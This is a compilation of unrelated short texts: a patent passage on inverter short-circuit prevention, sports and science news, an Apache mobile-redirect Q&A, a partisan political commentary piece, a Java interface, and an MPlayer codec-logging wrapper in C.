FIG. 8 is a block diagram showing structure of the controller 10. Referring to FIG. 8, reference numerals 11u, 11v, and 11w denote timers. The timer 11u, upon receipt of a control command for the switching elements 3 and 4 from a speed controlling circuit, not shown, starts counting time and, at the same time, outputs a signal at an H level. Thereafter, it, when the counted time reaches a preset period of time T1, outputs a signal at an L level. The timers 11v and 11w perform the same functions as the timer 11u does, except that the control object are switching elements 5 and 6 and switching elements 7 and 8, respectively. Reference numerals 12u, 12v, and 12w denote short-circuit preventing timers. The short-circuit preventing timers 12u, 12v, and 12w, when the signal levels of the signals outputted from the timers 11u, 11v, and 11w change, respectively, from H level to L level, output a pulse signal with a pulse width of T2 (T2 corresponds to the short-circuit preventing period of time). Reference numerals 13u, 13v, and 13w denote flip-flops. The flip-flops 13u, 13v, and 13w, when the signal level of the signal outputted from the timers 11u, 11v, and 11w, respectively, changes from H level to L level, invert the signal level of the signal outputted therefrom.
Further, reference numerals 14u, 14v, and 14w denote flip-flops. The flip-flops 14u, 14v, and 14w, when the signal level of the signal outputted from the short-circuit preventing timers 12u, 12v, and 12w, respectively, changes from H level to L level, output a signal having a different signal level from the signal level of the signal outputted from the Q terminal of the flip-flops 13u, 13v, and 13w. Reference numerals 15u, 15v, and 15w denote NAND circuits. To one input terminals of the NAND circuits 15u, 15v, and 15w, the signals outputted from the flip-flops 14u, 14v, and 14w are inputted, respectively, and to the other input terminals, the signals outputted from the Q terminals of the flip-flops 13u, 13v, and 13w are inputted, respectively. Reference numerals 16u, 16v, and 16w denote flip-flops. The flip-flops 16u, 16v, and 16w, when the signal level of the signal outputted from the short-circuit preventing timers 12u, 12v, and 12w changes from H level to L level, respectively, output a signal having a signal level different from the signal level of the signal outputted from the QB terminal of the flip-flops 13u, 13v, and 13w. Reference numerals 17u, 17v, and 17w denote NAND circuits. To one input terminals of the NAND circuits 17u, 17v, and 17w, the signals outputted from the flip-flops 16u, 16v, and 16w are inputted, respectively, and to the other input terminals, the signals outputted from the QB terminals of the flip-flops 13u, 13v, and 13w are inputted, respectively. Reference numerals 18u, 18v, and 18w denote terminals on the positive-phase side of the U-phase, V-phase, and W-phase, respectively. Reference numerals 19u, 19v, and 19w denote the terminals on the negative-phase side of the U-phase, V-phase, and W-phase, respectively.
Now, operations will be described. Since the operations of the V-phase and W-phase are the same as the operations of the U-phase, description will only be given on the operations of the U-phase and description on the operations of the V-phase and W-phase will be omitted.
First, when driving a three-phase motor 1, it is necessary to supply AC power to the three-phase motor 1. Especially when it is required to control the revolving speed of the three-phase motor 1 to change over a wide range, sometimes, a power supplying apparatus in which AC power is once converted to DC power and then the DC power is inverted to desired AC power and supplied to the three-phase motor 1 is used (in FIG. 7, the portion converting AC power to DC power is omitted).
In the use of such a power supplying apparatus for supplying power by once converting AC power to DC power and then converting the DC power back to AC power, it becomes possible to supply desired AC power to the three-phase motor 1 by suitably controlling the firing angles of the switching elements 3 to 8. However, when the switching element 3 on the positive-phase side and the switching element 4 on the negative-phase side of the U-phase are rendered conductive at the same time, for example, it short-circuits the DC power source 2 in a no-load condition and, hence, it sometimes occurs that a large current flows from the DC power source 2 to ground through the switching elements 3 and 4 and, thereby the switching elements 3, 4 and the like are damaged.
Therefore, in order to prevent the switching element 3 on the positive-phase side and the switching element 4 on the negative-phase side from becoming conductive at the same time, first, when the timer 11U receives a control command for the switching elements 3 and 4 from a speed control circuit, not shown, at the point of time A as shown in FIG. 9, it starts counting time and, at the same time, outputs a signal at an H level and, when the counted time reaches a preset period of time T1, it outputs a signal at an L level (in the example of FIG. 9, the counted time reaches the preset period of time T1 at the point of time B).
When the output signal from the timer 11u changes from H level to L level at the point of time B, the short-circuit preventing timer 12u is triggered by the trailing edge and outputs a pulse signal with a pulse width corresponding to a short-circuit preventing period of time T2.
The flip-flop 13u is also triggered by the trailing edge of the output signal of the timer 11u and inverts the signal levels of its output signals (in the example of FIG. 9, the signal level of the output signal from the Q terminal is changed from L level to H level and the signal level of the output signal from the QB terminal is changed from H level to L level).
Further, since the signal level of the output signal from the QB terminal of the flip-flop 13u changes from H level to L level at the point of time B, the NAND circuit 17u is triggered by the trailing edge and changes the signal level of its output signal from L level to H level.
Thus, a signal at an H level is outputted from the terminal 19u on the negative phase side of the U-phase to the interface circuit 9 at the point of time B, and hence, the switching element 4, which has been in the conductive state from the time before the point of time A, is brought into the non-conductive state at the point of time B.
When the signal level of the pulse signal, which was outputted from the short-circuit preventing timer 12u at the point of time B, changes from H level to L level at the point of time C, the flip-flop 14u is triggered at its trailing edge and changes the signal level of its output signal from H level to L level.
Further, at the point of time C, the flip-flop 16u is also triggered by the trailing edge and changes the signal level of its output signal from L level to H level.
Then, when the signal level of the output signal from the flip-flop 14u is changed from H level to L level at the point of time C, the NAND circuit 15u is triggered by its trailing edge and changes the signal level of its output signal from H level to L level.
Thus, at the point of time C, a signal at an L level is outputted from the terminal 18u on the positive side of the U-phase to the interface circuit 9, and, hence, the switching element 3 which has been in the non-conductive state from the time before the point of time A is brought into the conductive state at the point of time C.
Thereafter, each time the timer 11u receives the control command for the switching elements 3 and 4 from the speed control circuit, not shown, the switching states of the switching elements 3 and 4 are controlled according to the same principle. At this time, as apparent from FIG. 9, both the switching element 3 and the switching element 4 are in the non-conductive state during the short-circuit preventing period of time T2, and, hence, the short-circuiting of the power supply (the state in which both the switching element 3 and the switching element 4 are rendered conductive at the same time), which is possible to occur when the switching states are switched over, can be prevented.
Since the prior art controller of power supplying apparatus was constructed as described above, the short-circuiting of the power supply possible to occur when the switching element 3 and the like are controlled can be prevented. However, since there is provided no means for suppressing a large transient current flowing from the power source 2 to the coil of the three-phase motor 1 through the switching element 3 and the like when the switching element 3 and the like in the non-conductive state is put into the conductive state, there have been such problems as increase of current consumed by the three-phase motor 1.
Incidentally, technologies to control the current flowing into the coil of a three-phase motor 1 by controlling the conducting period of time of the switching element 3 and the like are disclosed in gazettes of Japanese Patent Laid-open No. Hei 1-99493 and Japanese Patent Laid-open No. Hei 6-38539. In these gazettes, however, no disclosure is made as to the technology to suppress the transient current occurring when the switching element 3 and the like in the non-conductive state are put into the conductive state. |
New Women's Volleyball Head Coach introduced at Bluefield College
Brian Votaw to lead women's volleyball program in upcoming 2011 season
Sports Information Department BC
August 4, 2011
Bluefield College Athletics
Sports Information Department
Bluefield, Virginia
On Thursday, Bluefield College Athletics announced the hiring of the new head women’s volleyball coach, Brian Votaw, ahead of the 2011 fall season.
Votaw will join the Athletics staff this week to lead the volleyball program right away in his first season at Bluefield. Votaw arrives in southwest Virginia with a long coaching resume in the sport including 16 years of coaching experience (eleven at Varsity and three at club).
In the past seven years at the varsity level, he has graduated 16 All-District players. He was recently named the Central District Coach of the Year for 2009 after leading his Gilead Christian School (OH) team to a 26-1 record and a final ranking of #8 in the state of Ohio. This past season Brian coached at Highland High School and had a record of 18-7. Before he was at Highland HS, Votaw coached at Gilead Christian in Columbus, Ohio for six seasons compiling an outstanding 119-16 record from 2006-2010 while at Gilead.
Most recently, he has coached on the national scene by coaching the 15 U National team for Club Mintonette out of Columbus, Ohio which won the National Title in Chicago in June of 2011.
Votaw comes from Ohio to lead BC Volleyball
He is a member of the Ohio High School Volleyball Coaches Association, American Volleyball Coaches Association and the Central District Coaches Association.
Votaw holds a M.A. in Clinical Counseling degree from Ashland Theological Seminary and a B.A. in Religion from Mt. Vernon Nazarene University.
With just a few weeks away from pre-season camp, Votaw will be hard at work to begin preparations for the upcoming volleyball. With a full squad coming in, he will work tirelessly to get the team into game-ready shape. Athletics Director, Peter Dryer, is both excited and confident with what Votaw will bring to Bluefield College. “We set out to find someone that will invest time and energy into the program, and Brian will definitely do that. He has a strong commitment to the Christian mission of the institution, and has great experience coaching the game. He knows how to get the best out of his players, and will lead our volleyball team in the right direction. We are very fortunate to have him here at Bluefield College.”
For more information on Bluefield College Athletics, follow us on Twitter @BluefieldRams or on Facebook by searching “Bluefield College Athletics”. Stay up to date on scores, interviews, stories and much more. |
Wrap your head around this one: On November 25, 2017 a healthy baby girl was born to a 26-year-old mother in Tennessee—but the embryo that would later result in the baby was conceived and cryogenically frozen in 1992. |
International Cephalopod Awareness Days (ICAD) are upon us. From October 8-12 (of any year), spend some time celebrating “the most intelligent invertebrates in the world”: octopus, cuttlefish, squid and more. Here’s a great place to celebrate the squid tomorrow (or really, most any day). Also, check out the official website for ICAD.
October 8 – Octopus Day, for all the eight-armed species October 9 – Nautilus Night, a time for all the lesser-known extant cephalopods October 10 – Squid Day/Cuttlefish Day, or Squidturday, covering the tentacular species October 11 – Myths and Legends Day, for all the fantastical cephalopods of movies, literature and legend. Release the Kraken! October 12 – Fossil Day (to coincide with National Fossil Day), for all the incredible suckers that have gone extinct.
Cephalopod Awareness Day was established in 2007 by members of TONMO, The Octopus News Magazine Online forum. While not (yet) an event proclaimed by any official governing body, Cephalopod Awareness Day was meant to bring attention to the diversity, conservation and biology of the world’s cephalopods. The date of October 8 was chosen as an auspicious occasion for appreciating animals with a combination of 8 or 10 appendages. Octopus have eight arms while squid and cuttlefish have eight arms and two tentacles. So the eighth day of the tenth month seemed like the best choice.
image via Cephalopod Awareness Days |
Q:
Problems with configuring Apache for mobile website
I am having some trouble with configuring Apache for a website that has both a normal and mobile version. The idea was to redirect the user with a mobile browser automatically to the mobile version and if someone on a normal desktop PC is trying to connect to the mobile version to redirect it to the normal website.
Right now it redirects a mobile user to the mobile website correctly. But it is seems to be unable to redirect the other way to the desktop version. Also, when you go to the mobile version of the website, it displays the default "It works!" page instead of the mobile index page for some reason..
Here is all the configuration that I used. Hopefully someone is able to help me out with this. Thanks in advance!
Normal website:
<VirtualHost *:80>
ServerAdmin webmaster@henal.local
ServerName henal.local
ServerAlias www.henal.local
DocumentRoot /var/www/henal.local
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/henal.local>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
DirectoryIndex index.html
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/deltionkrant/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel debug
CustomLog ${APACHE_LOG_DIR}/deltionkrant/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
</VirtualHost>
.htaccess normal website:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "android|blackberry|googlebot- mobile|iemobile|ipad|iphone|ipod|opera mobile|palmos|webos" [NC]
RewriteRule ^$ http://m.henal.local/ [L,R=302]
Mobile website:
<VirtualHost *:80>
ServerAdmin webmaster@henal.local
ServerName m.henal.local
ServerAlias henal.local
DocumentRoot /var/www/henal.local/mobile
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/henal.local/mobile>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
DirectoryIndex index.html
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
</VirtualHost>
.htaccess mobile webiste:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "!(android|blackberry|googlebot- mobile|iemobile|ipad|iphone|ipod|opera mobile|palmos|webos)" [NC]
RewriteRule ^$ http://www.henal.local/ [L,R=302]
A:
Ok - so you are trying to do content negotiation here and you are regexing on the user agent. Aside from the rewrtile rules you have, you need to consider the following:
Using the Apache Mobile Filter instead of a Regex. It is more accurate and provides a greater range of features
You should allow users to choose the representation/experience that they want. So if you are presenting them with the mobile version, then you should let them choose the desktop version instead since this might actually have been what they wanted; and vice versa.
This could be for a plethora of reasons e.g they have bookmarks to the desktop, someone shared a url to the desktop version etc. etc. Your content negotiation technique is pretty basic and doesn't take into consideration any of these use cases.
Having considered this, specific to your problems above:
Try removing the quotes from your RewriteCond patterns and add the R=302 and L flag to make sure now other rewrite directives are executed. i.e:
RewriteCond %{HTTP_USER_AGENT} !(android|blackberry|googlebot- mobile|iemobile|ipad|iphone|ipod|opera mobile|palmos|webos) [NC,R=302,L]
Secondly its likely that you are seeing the default desktop "it works" because you are testing on a desktop browser and being redirected to the desktop host.
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.giraph.block_app.framework.api;
/**
* Function for accessing WorkerValue.
*
* Intentionally hidden from APIs, to allow usage only
* within PieceWithWorkerContext.
*/
public interface BlockWorkerValueAccessor {
/**
* Get global worker value.
* Value returned can be accessed from may threads, and so all
* accesses to it should be done in a thread-safe manner!
*
* This is the only place in Blocks Framework where you need
* to take care of concurrency.
*/
Object getWorkerValue();
}
|
Mononuclear cell subsets in bronchoalveolar lavage fluid during Dictyocaulus viviparus infection of calves: a potential role for gamma/delta TCR-expressing cells in airway immune responses?
Mononuclear cell populations in the lungs of calves infected with Dictyocaulus viviparus were studied during primary infection and reinfection in order to identify cells involved in development of protective immunity to parasitic bronchitis. Three groups of calves were either inoculated with 500 third-stage larvae at both weeks 0 and 10 (n = 6), inoculated only at week 10 (n = 6), or remained uninfected (n = 3). The animals were monitored weekly by collection of bronchoalveolar lavage fluid (BALF), blood and faeces. Among mononuclear BALF-cell populations, the gamma/delta TCR-expressing cells showed a pronounced transient increase in proportion as well as in relative cell size 2 weeks post primary infection, whereas CD4-, CD8-, Ig- and CD14-expressing cells showed no significant differences related to the infection. The increase in gamma/delta TCR-expressing cells coincided with significantly increased proportions of eosinophils and recovery of adult worms in BALF. After reinfection, gamma/delta TCR-expressing cells increased again, but not until week 3 post inoculation, whereas eosinophils were increased by week 2 and reached higher levels than after primary infection. After reinfection, establishment of D. viviparus was less successful than after primary infection. In conclusion, these results indicate a role for gamma/delta TCR-expressing lymphocytes in the pathogenesis of D. viviparus infection. |
Embattled Canadian PM considers fate of Jody Wilson-Raybould after Liberal MP failed to confirm she had confidence in him
Canada’s former attorney general, whose testimony against the prime minister, Justin Trudeau, and his aides has placed his administration firmly on the defensive, could find herself ejected from her party after refusing to confirm she has confidence in his leadership, it emerged on Thursday.
Justin Trudeau refuses to resign over claims officials interfered in bribery prosecution Read more
Trudeau acknowledged that his former attorney general, Jody Wilson-Raybould, could be removed from the Liberal party, telling reporters on Thursday that he would have to review fully her recent testimony on the deepening scandal before making a decision.
“My team and I have always acted in a professional manner,” Trudeau told reporters on Thursday morning, rejecting suggestions he or his staff overstepped in their numerous conversations with Wilson-Raybould about their view that an engineering company facing bribery and fraud charges should not be prosecuted.
On Wednesday, Wilson-Raybould highlighted the extent to which she alleges the prime minister’s closest aides “hounded” her in order to secure a politically beneficial outcome for the party – and Trudeau himself.
Wilson-Raybould, the first indigenous minister of justice and attorney general in Canadian history, had described a sustained effort by government officials to influence her judgment. Nearly four months after she said the pressure began, she was removed from her job as the country’s top prosecutor – and instead was named minister of veterans affairs. She has repeatedly said she will run again in the federal election as a Liberal party candidate, a move experts view as difficult given her public spat with the prime minister.
Her characterization of Trudeau’s conduct – and of his aides’ behaviour – is particularly troubling for the Trudeau administration, given the recent controversy over the detention of the Huawei executive Meng Wanzhou. Trudeau had repeatedly said that Canada’s justice system is immune from political interference amid calls by the Chinese for her release.
On Thursday, Trudeau reaffirmed his belief that all discussions over the matter were proper.
“I totally disagree with the former attorney general’s characterization [of discussions] in her testimony,” said Trudeau. He denied Wilson-Raybould was removed as attorney general for her refusal to back down.
Political rivals jumped on Wilson-Raybould’s testimony. Opposition leader Andrew Scheer of the Conservative party said Trudeau had “lost the moral authority to govern” and called for his resignation. Jagmeet Singh, the leader of the New Democratic party, said the prime minister was not on the side of Canadians but stopped short of calling for his resignation.
Facebook Twitter Pinterest Jody Wilson-Raybould waits to testify before the House of Commons justice committee on Wednesday. Photograph: Chris Wattie/Reuters
The scandal first began 7 February, after the Globe and Mail reported the prime minister’s office had improperly pressured Wilson-Raybould to abandon the prosecution of a large engineering company, SNC Lavalin, for fraud and bribery.
The Quebec engineering giant SNC Lavalin, which paid C$48m (US$36.5m) in bribes to Muammar Gaddafi’s regime in Libya between 2001 to 2011, is lobbying for a remedy known as a deferred prosecution agreement instead of a trial and criminal prosecution. But federal prosecutors are uninterested in pursuing an agreement – a reality Trudeau’s inner circle had struggled to change.
Wilson-Raybould’s testimony marked the first instance in which the prime minister was directly implicated in efforts to dissuade her from pursuing prosecution.
“Are you politically interfering with my role as attorney general? I would strongly advise against it,” Wilson-Raybould recalled telling the prime minister, after he reminded her he was a member of parliament from Quebec – and asked her to “help out” in the case.
“No, no, no, we just need to find a solution,” she said was the prime minister’s answer.
On 12 February, Wilson-Raybould resigned. The country’s ethics commissioner is currently investigating the accusations.
Drawing on text messages and contemporaneous memos, she described 10 meeting and 10 telephone calls over the issue, which began in mid September of 218. Wilson-Raybould also testified about the extent of the pressure she faced, including aides promising a flurry of positive op-eds in Canadian papers to provide her political cover if she backed down. The efforts–and threats to undermine her position evoked “thoughts of the Saturday Night Massacre”, the infamous resignations of high-ranking US justice department officials during the Watergate investigations.
While the scandal has damaged the prime minister’s image of transparency and openness, damage appears to be minimal in Quebec, where support for SNC Lavalin is strong, given the 3,400 people it employs in the province.
Wilson-Raybould’s testimony marked the first time she has spoken at length about the pressure on her office. Questions still remain about the content of her discussions with the prime minister, which are protected by solicitor-client privilege. |
Senate Republican Whip John Cornyn, of Texas, is having a little "buyer's remorse" over his decision to vote in favor of confirming Hillary as Secretary of State back in 2009. Cornyn was one of the Republicans that originally held up Hillary's confirmation over concerns that the Clinton Foundation created an insurmountable "conflict of interest." That said, Republicans, including Cornyn, ended up breaking party lines and confirmed Clinton after the Foundation entered into a "memorandum of understanding" that called for, among other things, transparency around donations, particularly those from foreign governments.
That said, Cornyn now says that all the "reassurances she gave me back at the time her confirmation was considered" have for all practical purposes been "violated." Per comments made to The Hill:
“Once again the rules don’t apply to them like they apply to everybody else. Can you imagine if anybody else in the United States government had tried to get away with something like this? It wouldn’t have happened.” “When I put a hold on Mrs. Clinton’s nomination as Secretary of State, she reassured me that they would take appropriate steps. As seems to be usual for the Clintons, they crossed the line and all the concerns that she reassured me would not occur did in fact occur." “She was playing both sides. As she was performing her job of secretary of State, the Clinton Foundation was shaking down donors who were buying access. It’s absolutely deplorable.” “The reassurances she gave me back at the time her confirmation was considered, she, for all practical purposes, violated. Those representations she made to me about the integrity of the screening process and of the ethics concerns with regard to the foundation.”
The MOU, included below in its entirety for your reading pleasure, stated that, among other things, the Clinton Foundation would publish the names of all its existing contributors as well as the names of all new contributors. The MOU was executed in December 2008 between the Clinton Foundation and President Obama's office.
The Parties seek to ensure that the activities of the Foundation, however beneficial, do no create conflicts or the appearance of conflicts for the Senator Clinton as Secretary of State. In anticipation of Senator Clinton's nomination and confirmation as Secretary of State, the Foundation will publish its contributors this year. During any service by Senator Clinton as Secretary of State, the Foundation will publish annually the names of new contributors. Should an existing contributing country elect to increase materially is commitment, or should a new contributor country elect to support CHAJ, the Foundation will share such countries and the circumstances of the anticipated contribution with the State Department designated agency ethics official for review, and as appropriate, the State Department's designated agency ethics official will submit the matter for review by a designated official in the White House Counsel's office. In the event the State Department or White House has concerns about a proposed contribution that are related to Senator Clinton's service as Secretary of State, those concerns will be conveyed to her and to the Clinton Foundation for appropriate action. For purposes of this paragraph, an agency or department of a foreign country, as well as a government-owned corporation, will be treated as a foreign country.
But it wasn't long before the Clinton Foundation was found to be in breach of the MOU.
Per The Hill, the Clinton Health Access Initiative, a fund within the foundation, did not meet its reporting requirements from 2009 to 2013. Moreover, Clinton Foundation officials acknowledged to The Washington Post last year that they made a mistake by not seeking prior approval from the State Department ethics office for a $500,000 donation from the Algerian government.
In addition, State Department records obtained by the conservative group Judicial Watch and made public last month showed that Doug Band, a senior executive at the Clinton Foundation, helped set up a meeting between Crown Prince Salman of Bahrain with Clinton in 2009 after the prince’s efforts to reach out through normal channels failed. Band described Salman as a “good friend of ours.” By 2010, a scholarship fund set up by Salman gave $32 million to the Clinton Global Initiative, according to Judicial Watch.
Finally, just yesterday we called out the "curious" timing of a meeting between Dow Chemical CEO, Andrew Liveris, and Hillary back in July 2009 (see "Did Foundation Donor Dow Chemical Seek Hillary "Favor" To Settle $9 Billion Lawsuit With Kuwait?"). Per the email below from Huma, apparently Bill was really eager for Hillary to meet up with the CEO of the large Clinton Foundation donor. That said, we're sure it had nothing to do with open litigation initiated by Dow Chemical against Kuwait (another large Clinton Foundation donor) for backing out of the $17 billion K-Dow joint venture that would have netted Dow Chemical $9 billion in cash.
From: Huma Abedin Huma@clintonemail.com
To: Valmoro, Lona J
Sent: Monday, Jul 27 06:02:01 2009
Subject: Wjc wants to be sure hrc sees Andrew Liveris, ceo of dow tomorrow night. Apparently he is head of us china business council. Is he definitely going to be there?
But we urge Senator Cornyn to relax. While there seems to be a lot of smoke here, Hillary has assured us that these are all simple, honest mistakes and there "is no fire." |
/*
* This is a small DLL that works as a wrapper for the actual realrv30.so.6.0
* DLL from RealPlayer 8.0.
*
* This file is part of MPlayer.
*
* MPlayer is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* MPlayer is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with MPlayer; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
/*
Assuming that RACloseCodec is the last call.
*/
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <sys/time.h>
typedef unsigned long ulong;
ulong (*pncOpen)(ulong,ulong);
ulong (*pncClose)(ulong);
ulong (*pncGetUIName)(ulong,ulong);
ulong (*pncGetVersion)(ulong,ulong);
ulong (*pncQueryMediaFormat)(ulong,ulong,ulong,ulong);
ulong (*pncPreferredMediaFormat)(ulong,ulong,ulong,ulong);
ulong (*pncGetMediaFormats)(ulong,ulong,ulong,ulong);
ulong (*pncStreamOpen)(ulong,ulong,ulong);
ulong (*pnsOpenSettingsBox)(ulong,ulong);
ulong (*pnsGetIPNUnknown)(ulong);
ulong (*pnsSetDataCallback)(ulong,ulong,ulong,ulong);
ulong (*pnsSetProperty)(ulong,ulong,ulong);
ulong (*pnsGetProperty)(ulong,ulong,ulong);
ulong (*pnsClose)(ulong);
ulong (*pnsGetStreamHeaderSize)(ulong,ulong);
ulong (*pnsGetStreamHeader)(ulong,ulong);
ulong (*pnsInput)(ulong,ulong,ulong);
ulong (*pnsSetOutputPacketSize)(ulong,ulong,ulong,ulong);
ulong (*pnsGetInputBufferSize)(ulong,ulong);
void (*setDLLAccessPath)(ulong);
int b_dlOpened=0;
void *handle=NULL;
/* exits program when failure */
void loadSyms(void) {
fputs("loadSyms()\n", stderr);
if (!b_dlOpened) {
char *error;
fputs("opening dll...\n", stderr);
handle = dlopen ("/usr/local/RealPlayer8/Codecs/realrv30.so.6.0", RTLD_LAZY);
if (!handle) {
fputs (dlerror(), stderr);
exit(1);
}
pncOpen = dlsym(handle, "PNCodec_Open");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncOpen): %s\n", error);
exit(1);
}
pncClose = dlsym(handle, "PNCodec_Close");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncClose): %s\n", error);
exit(1);
}
pncGetUIName = dlsym(handle, "PNCodec_GetUIName");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncGetUIName): %s\n", error);
exit(1);
}
pncGetVersion = dlsym(handle, "PNCodec_GetVersion");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncGetVersion): %s\n", error);
exit(1);
}
pncQueryMediaFormat = dlsym(handle, "PNCodec_QueryMediaFormat");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncQueryMediaFormat): %s\n", error);
exit(1);
}
pncPreferredMediaFormat = dlsym(handle, "PNCodec_PreferredMediaFormat");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncPreferredMediaFormat): %s\n", error);
exit(1);
}
pncGetMediaFormats = dlsym(handle, "PNCodec_GetMediaFormats");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncGetMediaFormats): %s\n", error);
exit(1);
}
pncStreamOpen = dlsym(handle, "PNCodec_StreamOpen");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pncStreamOpen): %s\n", error);
exit(1);
}
pnsOpenSettingsBox = dlsym(handle, "PNStream_OpenSettingsBox");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsOpenSettingsBox): %s\n", error);
exit(1);
}
pnsGetIPNUnknown = dlsym(handle, "PNStream_GetIPNUnknown");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsGetIPNUnknown): %s\n", error);
exit(1);
}
pnsSetDataCallback = dlsym(handle, "PNStream_SetDataCallback");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsSetDataCallback): %s\n", error);
exit(1);
}
pnsSetProperty = dlsym(handle, "PNStream_SetProperty");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsSetProperty): %s\n", error);
exit(1);
}
pnsGetProperty = dlsym(handle, "PNStream_GetProperty");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsGetProperty): %s\n", error);
exit(1);
}
pnsClose = dlsym(handle, "PNStream_Close");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsClose): %s\n", error);
exit(1);
}
pnsGetStreamHeaderSize = dlsym(handle, "PNStream_GetStreamHeaderSize");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsGetStreamHeaderSize): %s\n", error);
exit(1);
}
pnsGetStreamHeader = dlsym(handle, "PNStream_GetStreamHeader");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsGetStreamHeader): %s\n", error);
exit(1);
}
pnsInput = dlsym(handle, "PNStream_Input");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsInput): %s\n", error);
exit(1);
}
pnsSetOutputPacketSize = dlsym(handle, "PNStream_SetOutputPacketSize");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsSetOutputPacketSize): %s\n", error);
exit(1);
}
pnsGetInputBufferSize = dlsym(handle, "PNStream_GetInputBufferSize");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(pnsGetInputBufferSize): %s\n", error);
exit(1);
}
setDLLAccessPath = dlsym(handle, "SetDLLAccessPath");
if ((error = dlerror()) != NULL) {
fprintf (stderr, "dlsym(SetDLLAccessPath): %s\n", error);
exit(1);
}
b_dlOpened=1;
}
}
void closeDll(void) {
if (handle) {
b_dlOpened=0;
dlclose(handle);
handle=NULL;
}
}
void _init(void) {
loadSyms();
}
struct timezone tz;
struct timeval tv1, tv2;
void tic(void) {
gettimeofday(&tv1, &tz);
}
void toc(void) {
long secs, usecs;
gettimeofday(&tv2, &tz);
secs=tv2.tv_sec-tv1.tv_sec;
usecs=tv2.tv_usec-tv1.tv_usec;
if (usecs<0) {
usecs+=1000000;
--secs;
}
fprintf(stderr, "Duration: %ld.%.6lds\n", secs, usecs);
}
void hexdump(void *pos, int len) {
unsigned char *cpos=pos, *cpos1;
int lines=(len+15)>>4;
while(lines--) {
int len1=len, i;
fprintf(stderr, "%0x ", cpos);
cpos1=cpos;
for (i=0;i<16;i++) {
if (len1>0) {
fprintf(stderr, "%02x ", *(cpos++));
} else {
fprintf(stderr, " ");
}
len1--;
}
fputs(" ", stderr);
cpos=cpos1;
for (i=0;i<16;i++) {
if (len>0) {
unsigned char ch=(*(cpos++));
if ((ch<32)||(ch>127)) ch='.';
fputc(ch, stderr);
}
len--;
}
fputs("\n", stderr);
}
fputc('\n', stderr);
}
ulong PNCodec_Open(ulong p1,ulong p2) {
ulong result;
fprintf(stderr, "PNCodec_Open(ulong fourcc=0x%0lx(%ld), ", p1, p1);
fprintf(stderr, "PNCMain **pncMain=0x%0lx(%ld))\n", p2, p2);
// hexdump((void*)p1, 44);
tic();
result=(*pncOpen)(p1,p2);
toc();
hexdump((void*)p2, 4);
// hexdump(*((void**)p2), 0x1278);
fprintf(stderr, "PNCodec_Open --> 0x%0lx(%ld)\n\n\n", result, result);
return result;
}
ulong PNCodec_Close(ulong p1) {
ulong result;
